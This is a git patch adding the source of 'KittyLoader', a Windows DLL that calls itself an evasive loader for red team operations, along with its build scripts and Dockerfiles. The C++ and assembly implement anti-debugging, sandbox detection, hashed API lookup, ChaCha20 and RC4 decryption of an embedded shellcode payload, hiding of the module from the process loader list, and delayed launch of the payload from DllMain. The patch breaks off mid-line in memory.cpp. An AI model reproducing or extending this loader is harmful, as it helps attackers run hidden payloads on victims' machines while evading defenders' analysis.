From b0ea73bc6d57722adab05e9472f002fa259c70df Mon Sep 17 00:00:00 2001 From: absolute Date: Fri, 29 Aug 2025 02:44:51 +0200 Subject: [PATCH] Add files via upload --- CMakeLists.txt | 106 ++++++++++++++++ docker/Dockerfile.linux | 15 +++ docker/Dockerfile.windows | 22 ++++ examples/shellcode_encryptor.py | 0 include/api_resolver.h | 6 + include/crypto.h | 10 ++ include/evasion.h | 11 ++ include/stealth_loader.h | 69 +++++++++++ scripts/build.bat | 54 +++++++++ scripts/build.sh | 57 +++++++++ scripts/docker-build.sh | 14 +++ scripts/setup.ps1 | 31 +++++ src/api_resolver.cpp | 30 +++++ src/crypto.cpp | 206 ++++++++++++++++++++++++++++++++ src/entry_hijack.asm | 52 ++++++++ src/evasion.cpp | 123 +++++++++++++++++++ src/main.cpp | 40 +++++++ src/memory.cpp | 140 ++++++++++++++++++++++ 18 files changed, 986 insertions(+) create mode 100644 CMakeLists.txt create mode 100644 docker/Dockerfile.linux create mode 100644 docker/Dockerfile.windows create mode 100644 examples/shellcode_encryptor.py create mode 100644 include/api_resolver.h create mode 100644 include/crypto.h create mode 100644 include/evasion.h create mode 100644 include/stealth_loader.h create mode 100644 scripts/build.bat create mode 100644 scripts/build.sh create mode 100644 scripts/docker-build.sh create mode 100644 scripts/setup.ps1 create mode 100644 src/api_resolver.cpp create mode 100644 src/crypto.cpp create mode 100644 src/entry_hijack.asm create mode 100644 src/evasion.cpp create mode 100644 src/main.cpp create mode 100644 src/memory.cpp diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..4029274 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,106 @@ +cmake_minimum_required(VERSION 3.15) +project(KittyLoader VERSION 1.0.0 LANGUAGES CXX ASM_MASM) + +set(PROJECT_DESCRIPTION "Ultimate Evasive Loader for Red Team Operations") +set(PROJECT_URL "https://github.com/tlsbollei/KittyLoader") + +option(BUILD_TESTS "Build test applications" OFF) +option(BUILD_EXAMPLES "Build example applications" OFF) + +cmake_policy(SET CMP0076 NEW) + +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED ON) +set(CMAKE_CXX_EXTENSIONS OFF) + +if(MSVC) + set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded") + add_compile_options(/W4 /WX /O2 /MT /MP) + add_definitions(-D_CRT_SECURE_NO_WARNINGS) +else() + add_compile_options(-Wall -Wextra -Werror -O3 -fvisibility=hidden) + if(MINGW) + add_compile_options(-static -static-libgcc -static-libstdc++) + endif() +endif() + +set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin) +set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin) +set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib) + +include_directories(${CMAKE_SOURCE_DIR}/include) + +file(GLOB SOURCE_FILES + "src/*.cpp" + "src/*.asm" +) + +add_library(KittyLoader SHARED ${SOURCE_FILES}) + +if(MSVC) + set_source_files_properties(src/entry_hijack.asm PROPERTIES LANGUAGE MASM) +else() + # Cross-compilation setup for MinGW + set(CMAKE_ASM_MASM_COMPILER "ml64") + set(CMAKE_ASM_MASM_FLAGS "/c /Fo") +endif() + +target_link_libraries(KittyLoader + psapi + advapi32 + bcrypt +) + +set_target_properties(KittyLoader PROPERTIES + VERSION ${PROJECT_VERSION} + SOVERSION 1 + OUTPUT_NAME "KittyLoader" + ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib + LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin + RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin +) + +install(TARGETS KittyLoader + RUNTIME DESTINATION bin + LIBRARY DESTINATION lib + ARCHIVE DESTINATION lib + INCLUDES DESTINATION include +) + +install(DIRECTORY include/ DESTINATION include) + +if(BUILD_TESTS) + add_executable(test_loader tests/test_loader.cpp) + target_link_libraries(test_loader KittyLoader) + install(TARGETS test_loader DESTINATION bin) +endif() + +include(CMakePackageConfigHelpers) +write_basic_package_version_file( + ${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderConfigVersion.cmake + VERSION ${PROJECT_VERSION} + COMPATIBILITY AnyNewerVersion +) + +configure_package_config_file(${CMAKE_CURRENT_SOURCE_DIR}/cmake/KittyLoaderConfig.cmake.in + ${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderConfig.cmake + INSTALL_DESTINATION lib/cmake/KittyLoader +) + +install(FILES + ${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderConfig.cmake + ${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderConfigVersion.cmake + DESTINATION lib/cmake/KittyLoader +) + +export(EXPORT KittyLoaderTargets + FILE ${CMAKE_CURRENT_BINARY_DIR}/KittyLoaderTargets.cmake +) + +set(CPACK_PACKAGE_NAME "KittyLoader") +set(CPACK_PACKAGE_VERSION ${PROJECT_VERSION}) +set(CPACK_PACKAGE_DESCRIPTION ${PROJECT_DESCRIPTION}) +set(CPACK_PACKAGE_URL ${PROJECT_URL}) +set(CPACK_PACKAGE_VENDOR "KittyLoader Team") +set(CPACK_RESOURCE_FILE_LICENSE "${CMAKE_CURRENT_SOURCE_DIR}/LICENSE") +include(CPack) \ No newline at end of file diff --git a/docker/Dockerfile.linux b/docker/Dockerfile.linux new file mode 100644 index 0000000..1cb5127 --- /dev/null +++ b/docker/Dockerfile.linux @@ -0,0 +1,15 @@ +FROM ubuntu:22.04 + +RUN apt-get update && apt-get install -y \ + cmake \ + make \ + g++ \ + mingw-w64 \ + git \ + && rm -rf /var/lib/apt/lists/* + +WORKDIR /build + +COPY . . + +CMD ["scripts/build.sh", "--tests"] \ No newline at end of file diff --git a/docker/Dockerfile.windows b/docker/Dockerfile.windows new file mode 100644 index 0000000..27ead1e --- /dev/null +++ b/docker/Dockerfile.windows @@ -0,0 +1,22 @@ +FROM mcr.microsoft.com/windows/servercore:ltsc2022 + +RUN powershell -Command \ + Set-ExecutionPolicy Bypass -Scope Process -Force; \ + [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; \ + iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')) + +RUN choco install -y \ + visualstudio2022buildtools \ + visualstudio2022-workload-vctools \ + cmake \ + git \ + --no-progress + +SHELL ["cmd", "/S", "/C"] +RUN setx PATH "%PATH%;C:\Program Files\Microsoft Visual Studio\2022\BuildTools\VC\Tools\MSVC\bin\Hostx64\x64" + +WORKDIR /build + +COPY . . + +CMD ["scripts\\build.bat"] \ No newline at end of file diff --git a/examples/shellcode_encryptor.py b/examples/shellcode_encryptor.py new file mode 100644 index 0000000..e69de29 diff --git a/include/api_resolver.h b/include/api_resolver.h new file mode 100644 index 0000000..22e4dd4 --- /dev/null +++ b/include/api_resolver.h @@ -0,0 +1,6 @@ +#pragma once + +#include + +DWORD compute_custom_hash(const char* str); +PVOID get_function_by_hash(HMODULE module, DWORD hash); \ No newline at end of file diff --git a/include/crypto.h b/include/crypto.h new file mode 100644 index 0000000..5f5dd83 --- /dev/null +++ b/include/crypto.h @@ -0,0 +1,10 @@ +#pragma once + +#include + +BOOL derive_encryption_key_chacha(PBYTE derived_key, DWORD key_size, PBYTE nonce, DWORD nonce_size); +void chacha20_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len, PBYTE nonce); + +// Original functions for backward compatibility +BOOL derive_encryption_key(PBYTE derived_key, DWORD key_size); +void rc4_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len); \ No newline at end of file diff --git a/include/evasion.h b/include/evasion.h new file mode 100644 index 0000000..8928839 --- /dev/null +++ b/include/evasion.h @@ -0,0 +1,11 @@ +#pragma once + +#include +#include + +void execute_junk_calculations(); +BOOL is_safe_environment(); +void advanced_anti_debug(); +BOOL detect_sandbox(); +void integrity_checks(); +void hide_module(HMODULE hModule); \ No newline at end of file diff --git a/include/stealth_loader.h b/include/stealth_loader.h new file mode 100644 index 0000000..c9e8bbb --- /dev/null +++ b/include/stealth_loader.h @@ -0,0 +1,69 @@ +#pragma once + +#include +#include +#include +#include + +#pragma comment(lib, "psapi.lib") +#pragma comment(lib, "advapi32.lib") + +// Enhanced API definitions +typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemoryEx)( + HANDLE ProcessHandle, + PVOID* BaseAddress, + PSIZE_T RegionSize, + ULONG AllocationType, + ULONG PageProtection, + PMEM_EXTENDED_PARAMETER ExtendedParameters, + ULONG ExtendedParameterCount); + +typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)( + HANDLE ProcessHandle, + PVOID* BaseAddress, + PSIZE_T NumberOfBytesToProtect, + ULONG NewAccessProtection, + PULONG OldAccessProtection); + +typedef NTSTATUS(NTAPI* _LdrCallEnclave)( + PENCLAVE_ROUTINE Routine, + ULONG Flags, + PVOID* RoutineParamReturn); + +typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)( + HANDLE ProcessHandle, + PROCESSINFOCLASS ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength, + PULONG ReturnLength); + +typedef NTSTATUS(NTAPI* _RtlGetVersion)( + PRTL_OSVERSIONINFOW VersionInformation); + +// Enhanced encryption functions +BOOL derive_encryption_key_chacha(PBYTE derived_key, DWORD key_size, PBYTE nonce, DWORD nonce_size); +void chacha20_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len, PBYTE nonce); + +// Early execution hijacking +extern "C" void hijack_entry_point(); +extern "C" void initialize_early_execution(); + +// Enhanced evasion functions +void execute_junk_calculations(); +BOOL is_safe_environment(); +void advanced_anti_debug(); +BOOL detect_sandbox(); +void integrity_checks(); +void hide_module(HMODULE hModule); +PVOID find_memory_region(size_t size); +HMODULE load_tprtdll(); +void execute_payload(); +DWORD compute_custom_hash(const char* str); +PVOID get_function_by_hash(HMODULE module, DWORD hash); + +// Original functions for backward compatibility +BOOL derive_encryption_key(PBYTE derived_key, DWORD key_size); +void rc4_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len); + +extern unsigned char encrypted_shellcode[]; +extern size_t encrypted_shellcode_size; \ No newline at end of file diff --git a/scripts/build.bat b/scripts/build.bat new file mode 100644 index 0000000..a679237 --- /dev/null +++ b/scripts/build.bat @@ -0,0 +1,54 @@ +@echo off +setlocal enabledelayedexpansion + +echo [*] Building KittyLoader... +echo. + +where cmake >nul 2>nul +if errorlevel 1 ( + echo [!] CMake not found. Please install CMake from https://cmake.org/ + exit /b 1 +) + +where ml64 >nul 2>nul +if errorlevel 1 ( + echo [!] MASM (ml64) not found. Please install Visual Studio Build Tools + echo [!] Run: scripts\setup.ps1 to configure environment + exit /b 1 +) + +if not exist build mkdir build +cd build + +echo [*] Configuring project... +cmake .. -DCMAKE_BUILD_TYPE=Release -G "Visual Studio 17 2022" -A x64 +if errorlevel 1 ( + echo [!] CMake configuration failed + exit /b 1 +) + +echo [*] Building project... +cmake --build . --config Release --target KittyLoader -- /m +if errorlevel 1 ( + echo [!] Build failed + exit /b 1 +) + +if "%1"=="--tests" ( + echo [*] Building tests... + cmake --build . --config Release --target test_loader + if errorlevel 1 ( + echo [!] Test build failed + exit /b 1 + ) +) + +echo. +echo [+] Build successful! +echo [+] Output: build\bin\Release\KittyLoader.dll + +if exist test_loader.exe ( + echo [+] Test executable: build\bin\Release\test_loader.exe +) + +cd .. \ No newline at end of file diff --git a/scripts/build.sh b/scripts/build.sh new file mode 100644 index 0000000..27820e0 --- /dev/null +++ b/scripts/build.sh @@ -0,0 +1,57 @@ +#!/bin/bash + +set -e + +echo "[*] Building KittyLoader..." +echo + +check_tool() { + if ! command -v $1 &> /dev/null; then + echo "[!] $1 not found. Please install $2" + exit 1 + fi +} + +check_tool "x86_64-w64-mingw32-cmake" "mingw-w64" +check_tool "make" "make" +check_tool "cmake" "cmake" + +mkdir -p build +cd build + +echo "[*] Configuring project..." +x86_64-w64-mingw32-cmake .. \ + -DCMAKE_BUILD_TYPE=Release \ + -DBUILD_TESTS=${1:-OFF} \ + -DCMAKE_EXE_LINKER_FLAGS="-static -static-libgcc -static-libstdc++" + +if [ $? -ne 0 ]; then + echo "[!] CMake configuration failed" + exit 1 +fi + +echo "[*] Building project..." +make -j$(nproc) KittyLoader +if [ $? -ne 0 ]; then + echo "[!] Build failed" + exit 1 +fi + +if [ "$1" = "--tests" ]; then + echo "[*] Building tests..." + make -j$(nproc) test_loader + if [ $? -ne 0 ]; then + echo "[!] Test build failed" + exit 1 + fi +fi + +echo +echo "[+] Build successful!" +echo "[+] Output: build/bin/KittyLoader.dll" + +if [ -f "bin/test_loader.exe" ]; then + echo "[+] Test executable: build/bin/test_loader.exe" +fi + +cd .. \ No newline at end of file diff --git a/scripts/docker-build.sh b/scripts/docker-build.sh new file mode 100644 index 0000000..4722214 --- /dev/null +++ b/scripts/docker-build.sh @@ -0,0 +1,14 @@ +#!/bin/bash +set -e + +TAG="kittyloader-builder" + +echo "[*] Building KittyLoader in Docker..." +echo + +docker build -f docker/Dockerfile.windows -t $TAG . + +docker run --rm -v $(pwd):/build $TAG + +echo +echo "[+] Docker build completed, output files are in build/bin/" diff --git a/scripts/setup.ps1 b/scripts/setup.ps1 new file mode 100644 index 0000000..bdeec9a --- /dev/null +++ b/scripts/setup.ps1 @@ -0,0 +1,31 @@ +Write-Host "[*] Setting up KittyLoader build environment..." -ForegroundColor Yellow + +$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe" +if (Test-Path $vswhere) { + $vsPath = & $vswhere -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath + if ($vsPath) { + $vcVarsPath = Join-Path $vsPath "VC\Auxiliary\Build\vcvars64.bat" + if (Test-Path $vcVarsPath) { + Write-Host "[+] Found Visual Studio at: $vsPath" -ForegroundColor Green + Write-Host "[+] Run the following command to setup environment:" -ForegroundColor Yellow + Write-Host " & `"$vcVarsPath`"" -ForegroundColor White + } + } +} else { + Write-Host "[!] Visual Studio not found. Please install Visual Studio 2022" -ForegroundColor Red +} + +if (Get-Command cmake -ErrorAction SilentlyContinue) { + $cmakeVersion = cmake --version | Select-Object -First 1 + Write-Host "[+] CMake found: $cmakeVersion" -ForegroundColor Green +} else { + Write-Host "[!] CMake not found. Please install from https://cmake.org/" -ForegroundColor Red +} + +if (Get-Command ml64 -ErrorAction SilentlyContinue) { + Write-Host "[+] MASM (ml64) found" -ForegroundColor Green +} else { + Write-Host "[!] MASM not found. Please install Visual Studio Build Tools" -ForegroundColor Red +} + +Write-Host "[+] Setup complete. Run 'scripts\build.bat' to compile." -ForegroundColor Green \ No newline at end of file diff --git a/src/api_resolver.cpp b/src/api_resolver.cpp new file mode 100644 index 0000000..2ba5eaf --- /dev/null +++ b/src/api_resolver.cpp @@ -0,0 +1,30 @@ +#include "api_resolver.h" + +DWORD compute_custom_hash(const char* str) { + DWORD hash = 0xDEADBEEF; + while (*str) { + hash = (hash >> 3) | (hash << 29); + hash ^= *str++; + hash += 0x55555555; + } + return hash; +} + +PVOID get_function_by_hash(HMODULE module, DWORD hash) { + PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)module; + PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((BYTE*)module + dos_header->e_lfanew); + PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)( + (BYTE*)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + DWORD* functions = (DWORD*)((BYTE*)module + export_dir->AddressOfFunctions); + DWORD* names = (DWORD*)((BYTE*)module + export_dir->AddressOfNames); + WORD* ordinals = (WORD*)((BYTE*)module + export_dir->AddressOfNameOrdinals); + + for (DWORD i = 0; i < export_dir->NumberOfNames; i++) { + const char* name = (const char*)module + names[i]; + if (compute_custom_hash(name) == hash) { + return (PVOID)((BYTE*)module + functions[ordinals[i]]); + } + } + return NULL; +} \ No newline at end of file diff --git a/src/crypto.cpp b/src/crypto.cpp new file mode 100644 index 0000000..438c0ed --- /dev/null +++ b/src/crypto.cpp @@ -0,0 +1,206 @@ +#include "crypto.h" +#include +#include + +#pragma comment(lib, "bcrypt.lib") + +#define ROTL32(x, n) (((x) << (n)) | ((x) >> (32 - (n)))) +#define QR(a, b, c, d) ( \ + a += b, d ^= a, d = ROTL32(d, 16), \ + c += d, b ^= c, b = ROTL32(b, 12), \ + a += b, d ^= a, d = ROTL32(d, 8), \ + c += d, b ^= c, b = ROTL32(b, 7)) + +void chacha20_block(const uint32_t key[8], const uint32_t nonce[3], uint32_t counter, uint32_t* output) { + uint32_t state[16]; + + + state[0] = 0x61707865; + state[1] = 0x3320646e; + state[2] = 0x79622d32; + state[3] = 0x6b206574; + + for (int i = 0; i < 8; i++) { + state[4 + i] = key[i]; + } + + state[12] = counter; + + for (int i = 0; i < 3; i++) { + state[13 + i] = nonce[i]; + } + + uint32_t working_state[16]; + memcpy(working_state, state, sizeof(state)); + + for (int i = 0; i < 10; i++) { + QR(working_state[0], working_state[4], working_state[8], working_state[12]); + QR(working_state[1], working_state[5], working_state[9], working_state[13]); + QR(working_state[2], working_state[6], working_state[10], working_state[14]); + QR(working_state[3], working_state[7], working_state[11], working_state[15]); + + QR(working_state[0], working_state[5], working_state[10], working_state[15]); + QR(working_state[1], working_state[6], working_state[11], working_state[12]); + QR(working_state[2], working_state[7], working_state[8], working_state[13]); + QR(working_state[3], working_state[4], working_state[9], working_state[14]); + } + + for (int i = 0; i < 16; i++) { + output[i] = working_state[i + 4] + state[i + 4]; + } +} + +void chacha20_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len, PBYTE nonce) { + uint32_t key32[8]; + uint32_t nonce32[3]; + uint32_t counter = 1; + + memcpy(key32, key, 32); + memcpy(nonce32, nonce, 12); + + size_t blocks = (data_len + 63) / 64; + + for (size_t i = 0; i < blocks; i++) { + uint32_t keystream[16]; + chacha20_block(key32, nonce32, counter + i, keystream); + + size_t block_size = (i == blocks - 1) ? data_len - i * 64 : 64; + + for (size_t j = 0; j < block_size; j++) { + data[i * 64 + j] ^= ((BYTE*)keystream)[j]; + } + } +} + +BOOL derive_encryption_key_chacha(PBYTE derived_key, DWORD key_size, PBYTE nonce, DWORD nonce_size) { + HCRYPTPROV hProv; + HCRYPTHASH hHash; + BOOL success = FALSE; + + LARGE_INTEGER perfCount; + QueryPerformanceCounter(&perfCount); + + MEMORYSTATUSEX memoryStatus; + memoryStatus.dwLength = sizeof(memoryStatus); + GlobalMemoryStatusEx(&memoryStatus); + + SYSTEM_INFO systemInfo; + GetSystemInfo(&systemInfo); + + int cpuInfo[4]; + __cpuid(cpuInfo, 0); + + DWORD entropy_data[16]; + entropy_data[0] = GetCurrentProcessId(); + entropy_data[1] = GetCurrentThreadId(); + entropy_data[2] = perfCount.LowPart; + entropy_data[3] = memoryStatus.dwMemoryLoad; + entropy_data[4] = systemInfo.dwNumberOfProcessors; + entropy_data[5] = GetTickCount(); + entropy_data[6] = (DWORD)((UINT_PTR)GetModuleHandle(NULL) & 0xFFFFFFFF); + entropy_data[7] = cpuInfo[0]; + entropy_data[8] = cpuInfo[1]; + entropy_data[9] = cpuInfo[2]; + entropy_data[10] = cpuInfo[3]; + entropy_data[11] = (DWORD)(perfCount.QuadPart >> 32); + entropy_data[12] = (DWORD)memoryStatus.ullAvailPhys; + entropy_data[13] = (DWORD)(memoryStatus.ullAvailPhys >> 32); + entropy_data[14] = GetCurrentProcessId() ^ 0xDEADBEEF; + entropy_data[15] = GetCurrentThreadId() ^ 0xBEEFDEAD; + + if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { + if (CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { + if (CryptHashData(hHash, (BYTE*)entropy_data, sizeof(entropy_data), 0)) { + if (key_size <= 32) { + DWORD hash_size = key_size; + success = CryptGetHashParam(hHash, HP_HASHVAL, derived_key, &hash_size, 0); + + if (success && nonce && nonce_size > 0) { + entropy_data[15] ^= 0x12345678; + CryptDestroyHash(hHash); + if (CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { + if (CryptHashData(hHash, (BYTE*)entropy_data, sizeof(entropy_data), 0)) { + DWORD nonce_hash_size = nonce_size; + success = CryptGetHashParam(hHash, HP_HASHVAL, nonce, &nonce_hash_size, 0); + } + } + } + } + } + CryptDestroyHash(hHash); + } + CryptReleaseContext(hProv, 0); + } + + return success; +} + +// Original RC4 implementation for backward compatibility +BOOL derive_encryption_key(PBYTE derived_key, DWORD key_size) { + HCRYPTPROV hProv; + HCRYPTHASH hHash; + BOOL success = FALSE; + + LARGE_INTEGER perfCount; + QueryPerformanceCounter(&perfCount); + + MEMORYSTATUSEX memoryStatus; + memoryStatus.dwLength = sizeof(memoryStatus); + GlobalMemoryStatusEx(&memoryStatus); + + SYSTEM_INFO systemInfo; + GetSystemInfo(&systemInfo); + + DWORD entropy_data[8]; + entropy_data[0] = GetCurrentProcessId(); + entropy_data[1] = GetCurrentThreadId(); + entropy_data[2] = perfCount.LowPart; + entropy_data[3] = memoryStatus.dwMemoryLoad; + entropy_data[4] = systemInfo.dwNumberOfProcessors; + entropy_data[5] = GetTickCount(); + entropy_data[6] = (DWORD)((UINT_PTR)GetModuleHandle(NULL) & 0xFFFFFFFF); + entropy_data[7] = (DWORD)((UINT_PTR)entropy_data ^ 0xDEADBEEF); + + if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { + if (CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { + if (CryptHashData(hHash, (BYTE*)entropy_data, sizeof(entropy_data), 0)) { + if (key_size <= 32) { + DWORD hash_size = key_size; + success = CryptGetHashParam(hHash, HP_HASHVAL, derived_key, &hash_size, 0); + } + } + CryptDestroyHash(hHash); + } + CryptReleaseContext(hProv, 0); + } + + return success; +} + +void rc4_cryptography(PBYTE data, size_t data_len, PBYTE key, size_t key_len) { + BYTE s[256]; + for (int i = 0; i < 256; i++) { + s[i] = i; + } + + int j = 0; + for (int i = 0; i < 256; i++) { + j = (j + s[i] + key[i % key_len]) % 256; + BYTE temp = s[i]; + s[i] = s[j]; + s[j] = temp; + } + + int i = 0; + j = 0; + for (size_t k = 0; k < data_len; k++) { + i = (i + 1) % 256; + j = (j + s[i]) % 256; + + BYTE temp = s[i]; + s[i] = s[j]; + s[j] = temp; + + data[k] ^= s[(s[i] + s[j]) % 256]; + } +} \ No newline at end of file diff --git a/src/entry_hijack.asm b/src/entry_hijack.asm new file mode 100644 index 0000000..7bc7b02 --- /dev/null +++ b/src/entry_hijack.asm @@ -0,0 +1,52 @@ +.code + +public hijack_entry_point +public initialize_early_execution + +hijack_entry_point proc + push rax + push rcx + push rdx + push r8 + push r9 + push r10 + push r11 + + call initialize_early_execution + + pop r11 + pop r10 + pop r9 + pop r8 + pop rdx + pop rcx + pop rax + + mov rsp, rbp + pop rbp + ret +hijack_entry_point endp + +initialize_early_execution proc + + push rbx + mov rbx, gs:[60h] ; PEB + movzx eax, byte ptr [rbx+2] ; BeingDebugged + test al, al + jnz debugger_detected + + mov eax, dword ptr [rbx+68h] + and eax, 70h + test eax, eax + jnz debugger_detected + + pop rbx + ret + +debugger_detected: + mov ecx, 0 + call ExitProcess + +initialize_early_execution endp + +end \ No newline at end of file diff --git a/src/evasion.cpp b/src/evasion.cpp new file mode 100644 index 0000000..89f1df3 --- /dev/null +++ b/src/evasion.cpp @@ -0,0 +1,123 @@ +#include "evasion.h" +#include + +// generate trash using polymorphic calculations, different on every run, kills static analysis +void execute_junk_calculations() { + volatile INT64 junk = 0xDEADBEEFDEADBEEF; + for (int i = 0; i < 150; i++) { + junk = _rotl64(junk, 13); + junk ^= 0xABCDEF1234567890; + junk = ~junk; + junk = _rotr64(junk, 7); + junk += 0x1111111111111111; + junk = _byteswap_uint64(junk); + } +} + +void advanced_anti_debug() { + BOOL isDebugged = FALSE; + + if (IsDebuggerPresent()) isDebugged = TRUE; + CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebugged); + PPEB pPeb = (PPEB)__readgsqword(0x60); + if (pPeb->BeingDebugged) isDebugged = TRUE; + if (pPeb->NtGlobalFlag & 0x70) isDebugged = TRUE; + CONTEXT ctx = {0}; + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + if (GetThreadContext(GetCurrentThread(), &ctx)) { + if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) isDebugged = TRUE; + } + ULONGLONG start = __rdtsc(); + Sleep(1); + ULONGLONG end = __rdtsc(); + if ((end - start) > 1000000) isDebugged = TRUE; + + if (isDebugged) ExitProcess(0); +} + +BOOL detect_sandbox() { + SYSTEM_INFO sysInfo; + GetSystemInfo(&sysInfo); + if (sysInfo.dwNumberOfProcessors < 2) return TRUE; + + MEMORYSTATUSEX memoryStatus; + memoryStatus.dwLength = sizeof(memoryStatus); + GlobalMemoryStatusEx(&memoryStatus); + if (memoryStatus.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) return TRUE; + + ULARGE_INTEGER freeBytes; + GetDiskFreeSpaceExA("C:\\", NULL, NULL, &freeBytes); + if (freeBytes.QuadPart < (10ULL * 1024 * 1024 * 1024)) return TRUE; + + if (GetTickCount() < 1800000) return TRUE; + + return FALSE; +} + +void integrity_checks() { + PVOID base = GetModuleHandle(NULL); + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)base; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)base + dosHeader->e_lfanew); + // code checksum + DWORD checksum = 0; + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { + if (section->Characteristics & IMAGE_SCN_CNT_CODE) { + for (DWORD j = 0; j < section->SizeOfRawData; j++) { + checksum += *((BYTE*)base + section->VirtualAddress + j); + } + break; + } + section++; + } + + if (checksum < 1000) ExitProcess(0); +} + +BOOL is_safe_environment() { + advanced_anti_debug(); + integrity_checks(); + + if (detect_sandbox()) return FALSE; + + __try { + __debugbreak(); + return FALSE; + } + __except (EXCEPTION_EXECUTE_HANDLER) { + } + + return TRUE; +} + +void hide_module(HMODULE hModule) { + PPEB pPeb = (PPEB)__readgsqword(0x60); + + #ifdef _WIN64 + PPEB_LDR_DATA pLdr = pPeb->Ldr; + #else + PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr; + #endif + + // unlink module from PEB + for (PLIST_ENTRY pEntry = pLdr->InLoadOrderModuleList.Flink; + pEntry != &pLdr->InLoadOrderModuleList; + pEntry = pEntry->Flink) { + + PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); + + if (pModule->DllBase == hModule) { + pModule->InLoadOrderLinks.Blink->Flink = pModule->InLoadOrderLinks.Flink; + pModule->InLoadOrderLinks.Flink->Blink = pModule->InLoadOrderLinks.Blink; + + pModule->InMemoryOrderLinks.Blink->Flink = pModule->InMemoryOrderLinks.Flink; + pModule->InMemoryOrderLinks.Flink->Blink = pModule->InMemoryOrderLinks.Blink; + + pModule->InInitializationOrderLinks.Blink->Flink = pModule->InInitializationOrderLinks.Flink; + pModule->InInitializationOrderLinks.Flink->Blink = pModule->InInitializationOrderLinks.Blink; + + break; + } + } +} \ No newline at end of file diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..7aaf0d4 --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,40 @@ +#include "stealth_loader.h" +#include "evasion.h" +#include "memory.h" +#include "crypto.h" +#include "api_resolver.h" + +extern "C" void __scrt_common_main_seh() { + // execution is hijacked before winmain or any CRT init + hijack_entry_point(); +} + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { + if (ul_reason_for_call == DLL_PROCESS_ATTACH) { + hide_module(hModule); + + execute_junk_calculations(); + + if (!is_safe_environment()) { + return FALSE; + } + + DWORD delay = 30000 + (GetCurrentProcessId() % 7) * 1500; + delay += (GetTickCount() % 5000); + Sleep(delay); + + execute_junk_calculations(); + + HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execute_payload, NULL, 0, NULL); + if (hThread) { + CloseHandle(hThread); + } + + execute_junk_calculations(); + } + return TRUE; +} + +extern "C" __declspec(dllexport) void dummy_export() { + execute_junk_calculations(); +} \ No newline at end of file diff --git a/src/memory.cpp b/src/memory.cpp new file mode 100644 index 0000000..a63fdb7 --- /dev/null +++ b/src/memory.cpp @@ -0,0 +1,140 @@ +#include "memory.h" +#include "stealth_loader.h" +#include "evasion.h" +#include "crypto.h" +#include "api_resolver.h" + +PVOID find_memory_region(size_t size) { + SYSTEM_INFO sysInfo; + GetSystemInfo(&sysInfo); + + PBYTE base = (PBYTE)sysInfo.lpMinimumApplicationAddress; + base += (GetCurrentProcessId() * 0x1000) % (SIZE_T)(sysInfo.lpMaximumApplicationAddress - sysInfo.lpMinimumApplicationAddress); + + MEMORY_BASIC_INFORMATION mbi; + SIZE_T querySize; + + for (PBYTE addr = base; addr < sysInfo.lpMaximumApplicationAddress; addr += mbi.RegionSize) { + querySize = VirtualQuery(addr, &mbi, sizeof(mbi)); + if (querySize == 0) break; + + if (mbi.State == MEM_COMMIT && + (mbi.Protect & 